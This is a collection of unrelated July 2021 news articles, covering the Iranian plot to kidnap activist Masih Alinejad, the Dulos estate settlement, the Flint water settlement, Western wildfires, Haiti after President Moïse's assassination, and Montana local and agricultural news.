During the hearing, Republican Rep. Scott Cepicky held a printout of a Facebook ad saying teens were eligible, calling the agencys advocacy reprehensible and likening it to peer pressure.

Asked about the hearing, the governor last month said generally that the state will continue to encourage folks to seek access  adults for their children, and adults for themselves to make the personal choice for vaccine.

Two weeks after the hearing, the health department instructed county-level employees to stop vaccination events aimed at teens and to halt online outreach to them, The Tennessean previously reported, citing emails it obtained.

___

Associated Press writer Kimberlee Kruesi contributed to this report.
NEW YORK (AP)  An Iranian intelligence officer and three alleged members of an Iranian intelligence network have been charged in Manhattan with plotting to kidnap a prominent Iranian opposition activist and writer in exile and take her back to Tehran, authorities said Tuesday.

An indictment in Manhattan federal court alleges that the plot was part of a wider plan to lure three individuals in Canada and a fifth person in the United Kingdom to Iran. Victims were also targeted in the United Arab Emirates, authorities said.

The identities of the alleged victims were not released but Brooklyn-based Masih Alinejad confirmed that authorities had told her she was among the targeted victims.

I knew that this is the nature of the Islamic Republic, you know, kidnapping people, arresting people, torturing people, killing people. But I couldnt believe it that this is going to happen to me in United States of America," Alinejad told The Associated Press.

Iran's mission to the United Nations did not immediately respond to a request for comment. State media in Tehran did not immediately acknowledge the alleged plot, though Iran has become more aggressive in recent years about seizing opposition journalists and dissidents abroad amid tensions over its tattered nuclear deal.

The indictment acknowledges that, naming an exiled Paris-based journalist later seized by Iran and executed. Also named was a California-based member of an Iranian militant opposition group in exile whose family says he was abducted by Iran while staying in Dubai in 2020. Prosecutors alleged the Iranian intelligence officer had an electronic device containing a graphic of Alinejad alongside those two men, prosecutors said.

Alinejad, who worked for years as a journalist in Iran, long has been targeted by its theocracy after fleeing the country following its disputed 2009 presidential election and crackdown.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for U.S.-funded Voice of Americas Farsi-language network since 2015. She became a U.S. citizen in October 2019.

Her White Wednesday and My Stealthy Freedom campaigns have seen women film themselves without head coverings, or hijabs, in public in Iran, which can bring arrests and fines. Details in the indictment also correspond to Alinejad's biography.

Alinejad said authorities had come to her last year and told her she was being watched, including photos being taken of her home. She said she had been living under U.S. government protection since then, including time spent in various safe houses. She also said the FBI at one point asked her to conduct a live video online to see if Iranian intelligence could track her.

Although not charged in the kidnapping plot, Niloufar Bahadorifar, also known as Nellie, was arrested July 1 in California on charges that she has provided U.S. financial and other services to Iranian residents and entities and some financial services supported the plot and violated sanctions against Iran, according to prosecutors.

The indictment said Bahadorifar, 46, originally from Iran, works at a California department store. Bahadorifar's lawyer, Assistant Federal Defender Martin Cohen, declined to comment.

Bahadorifar has pleaded not guilty to charges lodged at the time of her arrest and been released on bail, authorities said. She still faces arraignment on charges in Tuesday's superseding indictment.

The rest of the defendants are fugitives believed to be based in Iran, authorities said.

Among this countrys most cherished freedoms is the right to speak ones mind without fear of government reprisal," U.S. Attorney Audrey Strauss said. "A U.S. citizen living in the United States must be able to advocate for human rights without being targeted by foreign intelligence operatives."

Every person in the United States must be free from harassment, threats and physical harm by foreign powers," Acting U.S. Assistant Attorney General Mark J. Lesko added. Through this indictment, we bring to light one such pernicious plot to harm an American citizen who was exercising their First Amendment rights.

William F. Sweeney Jr., the head of New York's FBI office, noted that the indictment sounded a bit like some far-fetched movie plot.

We allege a group, backed by the Iranian government, conspired to kidnap a U.S. based journalist here on our soil and forcibly return her to Iran. Not on our watch, he said.

The Iranian intelligence officer, who remains a fugitive, was identified as Alireza Shahvaroghi Farahani.

According to the indictment, Farahani, 50, and three other defendants tried since at least June 2020 to kidnap Alinejad. If caught and convicted, the four could face life in prison.

Farahani and the network he led on multiple occasions in 2020 and 2021 lied about his intentions as he hired private investigators to surveil, photograph and video record Alinejad and her household members, the indictment alleged. It said the surveillance included a live high-definition video feed of the activist's home.

The indictment alleged that the government of Iran in 2018 tried to lure her to a third country so a capture would be possible, even offering money to her relatives to try to make it possible. The relatives, the indictment said, refused the offer. Alinejad's family has been targeted for harassment by the Iranian government, a separate lawsuit filed by the activist in the U.S. alleges.

The others charged in the kidnapping plot were identified as Mahmoud Khazein, 42, Kiya Sadeghi, 35, and Omid Noori, 45, all from Iran.

According to the indictment, Sadeghi researched a service offering military-style speedboats that could perform a maritime evacuation out of New York City that would ultimately reach Venezuela, whose government has friendly relations with Iran.

Khazein, it said, researched travel routes from Alinejad's home to a waterfront neighborhood in Brooklyn and the location of her residence relative to Venezuela and Tehran.

Alinejad said the plot wouldnt stop her from her activism.

I have only one life and Im not going to live in paranoia. Im not going to live in fear, she said. I have two options  feel miserable, make my oppressors feel miserable, so I choose the second one.

___

Associated Press writer Jon Gambrell in Dubai, United Arab Emirates, contributed to this report.
FARMINGTON  A probate judge approved a settlement with the estate of Fotis Dulos Tuesday that would require his former criminal defense attorneys Norm Pattis and Kevin Smith to not discuss the case surrounding the disappearance of Jennifer Dulos for 40 years.

The family of Jennifer Dulos was hoping to avoid more publicity, said Attorney Christopher Hug, who negotiated the settlement as the administrator of the estate of Fotis Dulos.

The heirs of the estate were very concerned about confidentiality, Hug told Probate Judge Evelyn Daly. They were satisfied.

Pattis and Smith agreed to the settlement that would also require them to pay the estate $137,000 of a $250,000 retainer Fotis Dulos gave them in the days before he died in January 2020 after being charged with the murder of his estranged wife Jennifer Dulos, Hug said during Tuesdays hearing. Her body has not been found.

The non-disclosure portion of the agreement is fairly unique for probate proceedings, said former Farmington Probate Judge J. David Morrissey.

Its not uncommon for civil litigation with corporations or those who have filed defamation cases, Morrissey said. But in this setting, it seems to me that its rather unusual. Im sure theres more to the story.

The agreement settled lawsuits filed against Pattis and Smith by Mark Dean, a trustee for Jennifer Dulos family, and Hug claiming the criminal defense attorneys improperly kept the $255,769 retainer for only 17 days' work in January 2020.

Hug told Daly that Pattis was able to demonstrate that some of the retainer was payment for prior services, which is why he was not required to return the full amount.

At the end of the day all the lawyers involved came together to reach the settlement, Hug said. I think its a fair and equitable agreement for the estate.

Dean and Hug wanted the money from the retainer to pay creditors including Gloria Farber, the mother of Jennifer Dulos, who was awarded $2 million in a civil suit she filed against her former son-in-law.

With the $137,000 from Pattis and Smith, the estate is worth about $368,000 and is expected to be declared insolvent in the coming weeks, said Attorney Paul Knierim, representing Hug in the proceedings. The expenses due exceed the assets, Knierim said.

Farber is believed to be the estates largest creditor. She withdrew her request to receive a lump sum payment of $50,000 that would used for the care of the five Dulos children Tuesday morning, Daly said during the hearing. The children have been with Farber since their mother disappeared and she is listed as their guardian on the request filed with the probate court in late May.

The agreement, approved by Daly and signed by all parties, would prohibit anyone involved from commenting on the settlement other than confirming they have consented to the plan, the filing shows. The parties also cannot publicly disparage each other, according to the agreement.

Pattis and Smith will be prohibited from discussing any evidence or opinions on Fotis Dulos, Jennifer Dulos, Farber or the five Dulos children, according to the agreement. The attorneys are required to turn over any files, documents, evidence or personal effects from their representation of Fotis Dulos within 30 days of the settlements approval, the document said.

Pattis and Smith are also banned from discussing the two remaining co-defendants in the case, Michelle Troconis, the former girlfriend of Fotis Dulos, and Kent Mawhinney, his former friend and attorney. Both Troconis and Mawhinney have each pleaded not guilty to conspiracy to commit murder and their cases are still unresolved before the court.

The non-disclosure portion of the agreement includes providing recollections, or writings, appearing for interviews, and/or cooperating or providing information directly or indirectly related to any book, magazine article, television or film production or any other type of media publication, the document said.

However, Pattis and Smith can cooperate with police and prosecutors involved in the case, according to the agreement.

The terms of the non-disclosure are in effect until Dec. 31, 2060, the agreement said.

Pattis vigorously defended Fotis Dulos in the death and disappearance of his estranged wife, who was last seen on May 24, 2019. Pattis regularly discussed the case with the media and drew sharp criticism for his alternative theories of what may have happened to Jennifer Dulos.

Pattis said Jennifer Dulos may have staged her own disappearance to frame his client, comparing it to the plot of the Gone Girl novel. Pattis also suggested she may have died from a revenge suicide to get back at his client as the couple were embroiled in a contentious two-year divorce and custody battle.

Judge John F. Blawie issued a gag order in the case at the request of then Stamford States Attorney Richard Colangelo. Pattis appealed the gag order to the state Supreme Court, but the court dropped the matter after Fotis Dulos died.

Fotis Dulos was first charged with tampering with evidence and hindering prosecution in June 2019, about a week after Jennifer Dulos disappearance. He was arrested again on similar charges in August 2019, and then charged with murder and kidnapping in January 2020.

Arrest warrants indicated police found Fotis Dulos DNA mixed with his estranged wifes blood on the faucet of a sink in her New Canaan home.

Police said they believe Fotis Dulos was lying in wait for his estranged wife to return home from dropping off their children at school the morning of May 24, 2019, according to arrest warrants.

Investigators wrote in the warrant affividavits that they believe she was attacked in the garage of her New Canaan home. While her remains have never been found, the states chief medical examiner said she would not have survived the attack without immediate medical attention.

The night of the disappearance Fotis Dulos and Troconis were captured on Hartford surveillance footage making a series of stops, arrest warrants stated. Fotis Dulos was seen dumping bags, some of which were later recovered and contained his estranged wifes blood and clothing, according to arrest warrants.

Investigators said they also found Jennifer Dulos blood on the seat of a pickup truck, which belonged to one of Fotis Dulos employees, that they believe was used the day of the crime, the arrest warrants state.
DETROIT (AP)  A federal judge listened Tuesday to Flint residents who were victims of the city's lead-contaminated water, a step in determining whether she should sign off on a $641 million deal that would settle claims against the state of Michigan.

More than a dozen people without lawyers signed up to speak, all in opposition. Thousands more are represented by attorneys who negotiated the settlement with Michigan and other parties and urged approval a day earlier.

"This is a little unusual, said U.S. District Judge Judith Levy, who left her courthouse in Ann Arbor for a courtroom 55 miles (90 kilometers) away in Genesee County. The hearing was livestreamed on YouTube.

The settlement fund includes $600 million from Michigan and $20 million from Flint. Attorneys are seeking $200 million in fees so the amount of money available to Flint residents is far less than $641 million.

The lawyers are making out like fat rats, Audrey Young-Muhammed complained to the judge.

Money would be available to every Flint child who was exposed to the water, adults who can show an injury, landlords, business owners and anyone who paid water bills. More than 50,000 people have filed claims in a city with a population of roughly 95,000. Kids are supposed to get 80% of the money.

Attorney General Dana Nessel said in a written statement that the deal provides relief and prevents a "drawn out legal back-and-forth."

But the Rev. Freelon Threlkeld, addressing the judge, described the settlement as "some crumbs."

You may not rescind this settlement, but at the end of the day, you and all the other lawyers are going to pay for what you've done to the have-nots, the Baptist minister said.

In 2014, state-appointed managers running Flint switched to water from the Flint River. But the water wasn't treated to reduce corrosion, causing lead to be released from inside old pipes. The water was also blamed for a spike in Legionnaires' disease.

Former Mayor Karen Weaver, who was elected in response to the crisis, said the settlement was inadequate, especially when compared to the number of victims and amount of money  $500 million  set aside in a sexual assault scandal at Michigan State University.

This is not justice for Flint," Weaver said. We ask you today to become the government and the judicial system that we can begin to trust.

Levy earlier said she can only approve or reject the settlement, not veto specific provisions.

Separately, a state attorney responded to criticism from doctors that some lawyers for Flint residents were using a risky portable device to scan people's bones for lead. The results can lead to higher compensation for victims.

State regulators inspected the site but do not have authority to declare whether a scanner is safe or unsafe, Assistant Attorney General Margaret Bettenhausen told the judge.

They work to ensure that the bone scans will be conducted in compliance with state laws and regulations, and that's exactly what happened, she said.

___

Follow Ed White at http://twitter.com/edwritez
BLY, Ore. (AP)  An army of firefighters labored in hot, dry and windy weather Tuesday to contain fires chewing through wilderness and burning homes across drought-stricken Western states already sweltering in the second heat wave of the year.

A high-pressure system that created the intense weather was weakening, but temperatures were forecast to remain above normal on the lines of more than 60 active large blazes burning in the West and Alaska.

More than 14,000 firefighters and support personnel were attacking fires covering close to a million acres (1,562 square miles, 4,047 square kilometers) of land, according to the National Interagency Fire Center.

The largest fire in the United States was incinerating huge swaths of the Fremont-Winema National Forest in southern Oregon, where firefighters received a warning about conditions from incident commander Al Lawson.

As you go out there today  adjust your reality," he said. "We have not seen a fire move like this, in these conditions, this early in the year. Expect the fire to do things that you have not seen before.

The week-old Bootleg Fire had ravaged about 316 square miles (818 square kilometers) by Tuesday morning, threatening about 2,000 homes and destroying more than 20 others, along with other minor structures. The fire's movement prompted authorities to place additional areas under evacuation notice and expand the number of acres ordered closed on an emergency basis inside Fremont-Winema.

Scientists say climate change has made the West much warmer and drier, and they warn that weather will get wilder as the world warms. They say extreme conditions are often from a combination of unusually random, short-term and natural weather patterns heightened by long-term, human-caused climate change. However, special studies are needed to determine how much global warming is to blame, if at all, for a single extreme weather event.

Firefighters have had some success in keeping the Bootleg Fire out of several small communities.

Quick actions from crews on the ground prevented numerous homes from catching fire during nighttime ember showers, a U.S. Forest Service statement said Monday.

The fire disrupted three transmission lines that provide electricity to California and the states power grid operator asked for voluntary power conservation Monday. The California Independent System Operator said Tuesday that the grid was stable and with the forecast for cooler temperatures another call for conservation was not expected.

In northeastern California, progress was reported on the states largest fire so far this year. The Beckwourth Complex, a combined pair of lighting-ignited blazes, was almost 50% contained after blackening more than 145 square miles (375 square kilometers) near the Nevada state line.

Damage was still being tallied in the rural community of Doyle, California, where flames swept in during the weekend and destroyed several homes, including Beverly Houdyshell's.

The 79-year-old said Tuesday that shes too old and too poor to rebuild and isnt sure what her future holds.

What chance do I have to build another house, to have another home? Houdyshell said. No chance at all.

Doyle remained under evacuation orders but other areas were on warning status, meaning residents were told to be ready to leave if necessary.

A fire that began Sunday in the Sierra Nevada south of Yosemite National Park grew to nearly 15 square miles (39 square kilometers) but containment increased to 15%. Four unspecified buildings were destroyed.

Elsewhere, several wildfires burned in north-central Washington state, prompting an evacuation order for the town of Nespelem and surrounding areas. The Northwest Interagency Coordination Center said about 60 lightning strikes were reported Monday on or near the town, sparking five wildfires. The largest had burned approximately 15.6 square miles (40 square kilometers) in grass, sagebrush and timber and had zero containment.

A 9-mile (14.5-kilometer) stretch of Interstate 15 across the corner of northwestern Arizona reopened to traffic Tuesday after a 5 1/2-hour overnight closure due to a brush fire.

___

Antczak reported from Los Angeles. Associated Press journalists Sara Cline in Salem, Oregon; Chris Grygiel in Seattle; Paul Davenport in Phoenix; Julie Walker in New York; Haven Daley in Doyle, California; and Christopher Weber in Los Angeles contributed to this report.
Memorials to victims of the Holocaust, known as stolpersteine or stumbling blocks, are found throughout Europe from Trondheim, Norway to Thessaloniki, Greece. More than 75,000 of these brass plaques, created by German artist Gunter Demnig, have been placed outside the former homes of the victims, whose names are engraved on the plaques. Emordet Murdered  appears under their names.

These stumbling blocks have inspired the American Witness Stones Project that began in 2017 in Guilford. These Witness Stones, placed as markers, memorialize enslaved individuals. The projects mission is to restore the history and honor the humanity of enslaved individuals who helped build our communities.

The project provides support to middle and high school students as they study the history of slavery in the places where they live. The project has worked with 21 schools, primarily in Connecticut, but also in Massachusetts and New Jersey.

We have to look at our own history of racism and inequality, said project co-founder and executive director Dennis Culliton.

Project co-founder Douglas Nygren views racism as an assault upon our democracy. It must be countered immediately, he says, or else it will rapidly grow. Nygren, a licensed clinical social worker, treats abused children. He sees his skills in treating victims of trauma as helpful in addressing what he considers the national trauma of racism that results from ignorance and hate.

Nygren hopes that the Witness Stones will fight ignorance with truth, and make it clear that Black history, long neglected, is an integral part of the American story.

Will the German stolpersteine initiative work in this American context?

It will work in the United States, said Malte Lehming, a respected commentator for the widely circulated Berlin daily Der Tagesspiegel. But American slavery cannot be compared to the Holocaust, he said. The stolpersteine program must be viewed as a tool to think about the past of another country with a completely different history.

The Witness Stones Project has revealed the extent to which Black people were enslaved in the North, something often ignored, forgotten even, because most Americans associate slavery only with the South.

Two recent initiatives of the Witness Stones Project in Connecticut  in Guilford and in Greenwich  have served to educate the public regarding slavery in these communities.

Although slave labor was exploited in Greenwich for generations, there has never been a memorial for the hundreds of Greenwich slaves. That changed with the placement of Witness Stones as memorials to five slaves on the grounds of the Greenwich Historical Society on May 25. Students at two Greenwich schools  Sacred Heart and Greenwich Academy  researched the lives of these slaves and recounted their stories at the May 25 ceremony.

Some truths are hard to accept, said the Rev. Thomas Nins, pastor of the First Baptist Church, one of the speakers at the ceremony. That there were slaves in the Town of Greenwich is one of those difficult truths.

Remembering the long history of American slavery and racism is especially important now to counter the pervasive denials of systemic racism and the rise of racist extremism. The Connecticut anti-Defamation League reports an alarming jump in the circulation of White Supremacist propaganda.

Patricia Wilson Pheanious, former Connecticut state legislator from Windham County (D-53), and Witness Stones Project board member, is a ninth generation descendant of Guilford slaves. She learned that Montros and Phylis, who were 17 years old when they became the slaves of a Guilford family in 1728, were her ancestors.

This discovery strengthened her deep American roots.

Like many Black children, my history had been hidden, or stolen, she said. And if you dont know who you are and where did you come from you dont know anything about your value.

That knowledge, she said, made her feel not beholden as she had been made to feel. She believes the tool of the stolpersteine, as adapted by the Witness Stone Project, has unearthed her long connection with America.

They used to tell Black children why dont you go back to where you came from, she said.

Her answer now: I came from here.

Greenwich resident Don Snyder is a retired producer at NBC News.
The antitrust ruling of fining Google in France follows almost a 7-month period in which the search giant was supposed to reach an agreement with local publishers to use snippets of their content on Google News. The fine is 500 million and is in line with the latest EU regulations.

Unfortunately, Google didn't offer a fair deal and couldn't agree with Agence France-Presse and other publishers on a payment framework. Reportedly, the fee Google was willing to give was less than what it pays for weather data and dictionary definitions.

In addition to the fine, Google needs to enter negotiations with publishers within a two-month period or it will face daily fines of up to 900 million.

Of course, Google can appeal in court as it believes it "acted in good faith throughout the entire process". It's interesting to note that the company did reach an agreement with publishers in other countries such as the UK, Canada and Australia where similar laws were implemented.

Source 1 (in French)  Source 2




Haiti - DR : Abinader calls on the international to take responsibility for the crisis Haiti is going through





Following the assassination of President Jovenel Moise. On July 7, the President of the Dominican Republic Luis Abinader called on the international community to take responsibility for the crisis situation Haiti is currently going through.



Abinader demanded greater participation from foreign countries to seek a final solution "for the good of Haiti".



"[...] We were not asked to collaborate, but we believe that the international community should have a much more active attitude than it currently has."



He said that although the consequences are greater for the Dominican Republic, it is also consequences for the whole of the international community and [...] we think that the countries should have a much more active attitude than at present."



Regarding the security of the Dominican territory, President Abinader affirmed that the Dominican-Haitian border was completely sealed and protected by the soldiers who are part of the "Gabion" operation https://www.haitilibre.com/en/news-34179-haiti-dr-decisions-of-the-security-council-for-the-strengthening-of-the-border-with-haiti.html



In addition, he estimated that in about three months, the construction of the double perimeter fence (physical and electronic border), which is being tendered, can begin https://www.icihaiti.com/en/news-34045-icihaiti-dr-the-construction-of-the-border-fence-could-begin-in-october-2021.html



Responding to a journalist's question as to whether the country would mediate the Haitian crisis, Abinader said "We have decided to facilitate any mediation and not to participate in any situation related to mediation in Haiti . Our foreign policy has already been clear in this regard."



See also :

https://www.icihaiti.com/en/news-34164-haiti-dr-luis-abinader-closes-the-border-with-haiti-and-convenes-the-military-commanders.html

https://www.icihaiti.com/en/news-34045-icihaiti-dr-the-construction-of-the-border-fence-could-begin-in-october-2021.html

https://www.haitilibre.com/en/news-33190-haiti-dr-the-dominican-fence-at-the-border-will-cost-more-than-$100-million.html

https://www.haitilibre.com/en/news-33130-haiti-flash-president-abinader-announces-the-construction-of-a-double-fence-at-the-border.html

https://www.haitilibre.com/en/news-32914-haiti-flash-nearly-1-000-cameras-monitor-the-dominican-border.html

https://www.haitilibre.com/en/news-32908-haiti-flash-the-dominican-republic-will-test-an-israeli-system-of-electronic-border.html



SL/ HaitiLibre






















Haiti - News : Zapping...





Dimitri Herard expected at the Public Prosecutor's Office

Tuesday Jean Laguel Civil, security coordinator of President Jovenel Moise and Inspector Paul Eddy Amazan, head of the Cat Team, shunned the invitation of the Government Commissioner of Port-au-Prince Me Bed-Ford Claude who wished to hear them as part of the investigation into the assassination of President Jovenel Moise. In addition Dimitri Herard, head of the General Security Unit of the National Palace (USGPN) is expected this Wednesday, July 14, 2021, at the Public Prosecutor's Office...



The UN pays homage to Jovenel Moise

In memory of Jovenel Moise, President of the Republic of Haiti, who died in tragic circumstances on July 7, the UN flag will be half-masted at the organization's headquarters in New York as well as in other offices of the organization around the world. In addition, the UN General Assembly will pay tribute to President Jovenel Moise this Wednesday morning in a solemn ceremony.



Corvington Reynaldo banned from leaving the territory

As part of the investigation into the assassination of President Moise, Me Bedford Claude, the Government Commissioner ai took a ban on leaving the country by air, sea or land, against Corvington Reynaldo suspected of complicity in the assassination of the Head of State.



The DR authorizes the passage of 20 gas propane tankers to Haiti

The Dominican Republic yesterday authorized the passage at the Jimani border of 20 tankers of Liquid Propane Gas (LPG) to Haiti for humanitarian reasons. Victor Ito Bisono Haza, Dominican Minister of Commerce recalled that Haiti, which faces a shortage, imports its propane from the DR.



Presidential security guard interviewed

The Judicial Police questioned the 21 presidential guard officers who were present the night of the assassination of President Jovenel Moise and seized their phones. The police are subject to precautionary measures and have been temporarily replaced.



Books of condolence :



Embassy of Haiti in France :

The Embassy of Haiti in France informs that a virtual condolence book is open to allow you to present your messages and to pay tribute to the memory of the late President of the Republic of Haiti, HE Mr. Jovenel Moise, at the address : https://bit.ly/3xEiif0



Consulate General of Haiti in Atlanta :

The Consulate General of Haiti in Atlanta informs the public in general, and in particular the Haitian Community of Georgia, that following the tragic death of the President of the Republic, His Excellency Mr. Jovenel Moise, that a register of condolences has been opened in his office from Monday, July 12, 2021 from 9:00 a.m. to 3:00 p.m.



HL/ HaitiLibre


















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Published on 2021/07/14 | Source

Korean movies opening today 2021/07/14 in Korea: "Epitaph" (Re-release) and "The Medium" (Korean-Thai)

"Epitaph" (2007)

Advertisement



Directed by Jeong Beom-sik, Jeong Sik

With Jin Goo, Lee Dong-kyu, Kim Tae-woo, Kim Bo-kyung, Ko Joo-yeon, Kim Eung-soo,...

Original release date: 2007/08/01

Synopsis

"In a modern hospital in 1941, doctors witness weird events and learn DEATH is the sole healer". In 1979, Dr. PARK receives an old photo album from his twenties in 1941 when mysterious things befell him and his colleagues. PARK was bound by his parents to marry a girl whom he never met, but fell in love with a dead woman who happened to be his arranged marriage. Meanwhile, a little girl who was apparently the only survivor a car accident was haunted by ghosts every night. After two doctors (a married couple) involved in these two stories return to their hospital from Tokyo, a series of serial murders occurs around them.

"The Medium" (2021)

Directed by Banjong Pisanthanakun

Synopsis

A film depicting a three-month long record about the blood of a shaman family, passed down through a mountainous village in Thailand.
Editors note: this version corrects that a proposal sent by Rural Fire District 1 to The City of Havre has not been brought before Havre City Council.

At a meeting of the Rural Fire District 1 Board Tuesday, the board was granted an extension by Havre Mayor Tim Solomon through the end of July to sign a new fire suppression agreement with the city.

Rural Fire District 1 is essentially a ring around Havre in which the Havre Fire Department previously provided fire suppression services.

The board and the city failed to reach a new agreement by the original July 1 deadline, leaving Rural Fire District 1 unprotected, at least on paper. After the deadline passed, Solomon gave an extension which would have run out July 15. That now is extended to the end of the month.

Community member Arleen Rice told the board she has a home and oerates a chemical facility in the district. She expressed concerns to the board regarding insurance costs without a fire suppression agreement in place.

I am not comfortable going one day past the 15th without some kind of working agreement here. and I do not want to see this can kicked down the road. We gotta be big people here and come to an agreement, Rice said.

Solomon told district board chair Steve Jamruszka Tuesday he had already been given two weeks.

When Jamruszka said he received no notice of this, Solomon said Jamruszka was notified at a previous meeting.

When the board later asked for more time, indicating the situation couldnt be resolved in two days, Solomon gave them until the end of July.

Board member Courtney Tait had asked Solomon for a year.

Solomon said the previous agreement only concerned fire suppression and not fire code enforcement.

I know your concern went up the line. Its been resolved. And its coming back down. My statement is, the system works. Whats changed? Jamruszka asked.

Solomon said it hasnt worked and discussed specific buildings that arent meeting fire codes.

If the Havre Fire Department for 50-some years has been covering all this and you have these issues with the building codes and stuff, why hasnt somebody from the Havre Fire Department got ahold of somebody at the Department of Labor and the fire marshal and said, Look, this is our problem, you guys take care of it? Tait asked.

Solomon said the fire department has done so, adding the city has asked the state to come in but that no one in the fire district has backed it up.

Solomon told the board the situation could be resolved if the board would name someone, whomever the board wants, to be in charge of code enforcement and sign a new agreement.

Jamruszka and Tait disagreed with Solomon, saying the matter wasnt as simple as naming a person to be in charge but that person had to be trained by the state and then approved by the Department of Labor, the health department and the fire marshal needed to be involved.

Theres a lot of ramifications in what (Solomons) asking for. Liability is ability one, expense is another. Really, what hes asking for is a whole nother layer of county government and the ramifications of everything involved in that need to be explored, Jamruszka said.

From day one, we have asked for an extension to be able to explore these options to clarify what we can or cant do. Thats what the whole issue has been. We submitted the contract to them and it did have a memo of understanding, he added.

Jamruszka said he wasnt sure what the process was for the city but he would have thought the contract he submitted to Solomons office after the boards June 8 meeting would have made its way to Havre City Council.

Solomon said June 28 that the proposed agreement Jamruszka sent to his office after the June 8 meeting didnt address the citys concerns, saying it wasnt even a consideration.

He said Tuesday that the fact the contract still does not address the citys concerns as the reason the proposal has not been brought to the council. Adding to why this has not been brought to the council, Solomon mentioned the fact the city gave a counter-contract.

Hi-Line Law, which represents the city, Hill County Attorney Karen Alley and the Montana Attorney Generals Office had not responded by print deadline this morning to requests for comment on whether the fire district can enforce fire codes.

Havre Daily News also requested a copy of a proposed agreement the city sent to Rural Fire District 1, but had not received a copy of the proposal by printing deadline this morning.

Solomon and Havre Fire Chief Mel Paulson previously said the Havre Fire Department still would respond to fires in the district if the agreement lapsed, but would then bill the district directly rather than operating under the agreement.

As of Tuesdays meeting, that no longer appears to be the case.

At some point, its our liability going out into someone elses area without even being invited. So its up to this board, Solomon said.

Jamruszka asked Solomon if he was indicating there would be no response by the Havre Fire Department in the event of a fire in the district.

You have control of fire district No. 1, so I dont know if well be invited out there or not or if youre gonna find a private contractor or create your own department. I dont know. Thats for you guys to make the decision, Solomon said.

Jamruszka said the board is exploring options if the Havre Fire Department does not respond to fires in the district.

Jamruszka said former board chairman Bob Jacobson and former secretary Allen LaBuda are now being considered for removal from the Rural Fire District 1 board after missing multiple consecutive meetings.

Jamruszka said he is going to draft a letter concerning their removal.

The next Rural Fire District 1 board meeting will be Aug. 10 at 11 a.m. in the Timmons Room of the Hill County Courthouse.
More than 300 life jackets donated to FWP Kids Dont Float program

Press release

HELENA  Lt. Gov. Kristen Juras, Department of Public Health and Human Services Deputy Director Laura Smith and Fish, Wildlife and Parks Director Hank Worsech were joined Monday by children from Rocky Mountain Preschool at Spring Meadow Lake to promote the FWP Kids Dont Float program.

Recognizing the risk drowning poses to Montanas kids, DPHHS has launched a collaboration with FWP to support Kids Dont Float by donating over 300 life jackets.

Juras encouraged Montana families to get out and enjoy all the states abundant natural waterways this summer. But, its vital that safety is always at the forefront when it comes to children and water.

I appreciate the partnership between DPHHS and FWP to help bolster Montanas efforts to provide loaner life jackets that allow children to enjoy time in the water and provide peace of mind for parents, Juras said. I urge Montanans to take all the necessary precautions this summer to avoid water-related tragedies that can happen so fast.

Smith said many drowning incidents are preventable.

Drowning is the leading cause of death among children ages 1-4 nationally, and a top cause of death among teens, she said. Many of these could be prevented by following basic safety prevention steps.

Over the past decade, Montana has averaged about four accidental drownings among children each year, including in natural waterways and in bathtubs when children were left unattended.

Worsech said the program supplies free loaner life jackets at about 60 locations near water across Montana. The program has been in existence since 1998.

The life jacket loaner stations that are available across the state are there for Montanans to borrow a life jacket as they enjoy the water, he said. This program has been available for many years, and its important that we ensure people are aware of it.

DPHHS provides the following additional tips to help keep children safe when around water:

The American Academy of Pediatricians recommends layers of protection against drowning:

 Always be watching. Close, constant, attentive supervision around water is important. Assign an adult water watcher, who should not be distracted by work, socializing, or chores.

 Everyone, children and adults, should wear U.S. Coast Guard-approved life jackets whenever they are in open water, or on watercraft.

 All children and adults should learn to swim.

 Around the house, empty all buckets, bathtubs and wading pools immediately after use. People who have young children should keep the bathroom door closed, and use toilet locks to prevent access.

 Pools should be surrounded by a four-sided fence, with a self-closing and self-latching gate. Research shows pool fencing can reduce drowning risk by 50 percent. Additional barriers can include door locks, window locks, pool covers and pool alarms.

 Adults and older children should learn CPR.

 Parents and teens should understand how using alcohol and drugs increases the risk of drowning while swimming or boating.

DPHHS provides additional tips on how to keep children safe at home:

 Never leave a baby alone or with young siblings in a bathtub even for a second.

 Always keep baby within arms reach. Children can drown quickly and silently.

 Keep the toilet lid down, and keep young children out of the bathroom when unsupervised.
Meat processing investment, work on meat processor consolidation and right-to- repair among issues in D.C. last week

Staff and wire report

More direct and indirect action is happening in Washington, D.C., on issues related to agricultural production.

President Joe Biden has issued an executive order that includes directing government agencies to increase competition in the markets for agricultural products, and, almost the same time the order was issued, U.S. Department of Agriculture announced it was investing $600 million in meat processing facilities.

U.S. Sen. Jon Tester, D-Mont., said in a release Friday he was celebrating the USDA investment in meat processing facilities, $500 million in meat and poultry capacity building with the goals of increasing choice and negotiation options for producers as well as $100 million in relief through a fee waiver for inspection and overtime fees for small and medium processors.

The release said the funding is provided through the American Rescue Plan, the most recent coronavirus relief package, which Tester helped negotiate. Tester was the only member of the Montana delegation to vote for the legislation.

This announcement is welcome news for family ranchers across Montana, Tester said in the release. Increasing capacity means more competition in the marketplace, which is essential to ensuring folks in production ag can make a living and that we keep meat prices affordable for families at the grocery store. Im also glad the administration is taking steps toward more aggressive enforcement against the big packers, but I wont be satisfied unless these actions have real teeth to them.

Tester, who has pushed for years to aggressively enforce the Packers and Stockyards Act to cut down on consolidation in the meat processing industry, recently secured Agriculture Secretary Tom Vilsacks support for Testers bipartisan Meat Packing Special Investigator Act, which would create the Office of the Special Investigator for Competition Matters within the U.S. Department of Agricultures Packers and Stockyards Division.

The new USDA special investigator would have a team of investigators, with subpoena power, dedicated to preventing and addressing anticompetitive practices in the meat and poultry industries and enforcing the nations antitrust laws. They would coordinate and act in consultation with the Department of Justice and the Federal Trade Commission and create a new bridge between the USDA and the Department of Homeland Security to protect the continuation of the food supply and increase national security, Testers release said. With a team of dedicated staff, the USDA will have the ability to deeply investigate issues facing producers, safeguard producers by enforcing the Packers and Stockyards Act, and protect Americas food supply chain and national security.

He also praised Bidens order for dealing with a major topic amongst ag producers in recent years  the right to repair equipment.

The order encourages the Federal Trade Commission to limit equipment manufacturers ability to restrict the use of independent repair shops or do DIY repairs.

In the Packers and Stockyards Act portion of the lengthy executive order, Biden directed the secretary of agriculture to consider multiple actions including

 reinforcing the interpretation of the act that it is not necessary to show industry-wide harm to show a violation of the act;

 providing clear rules that identify practices that violate the act due to being unfair, unjustly discriminatory or deceptive;

 adopting anti-retaliation protections;

 ensuring consumers have labels enabling them to choose products made in the United States, and

 setting measures to improve price discovery, increase transparency and improve the functioning of the cattle and other livestock markets.

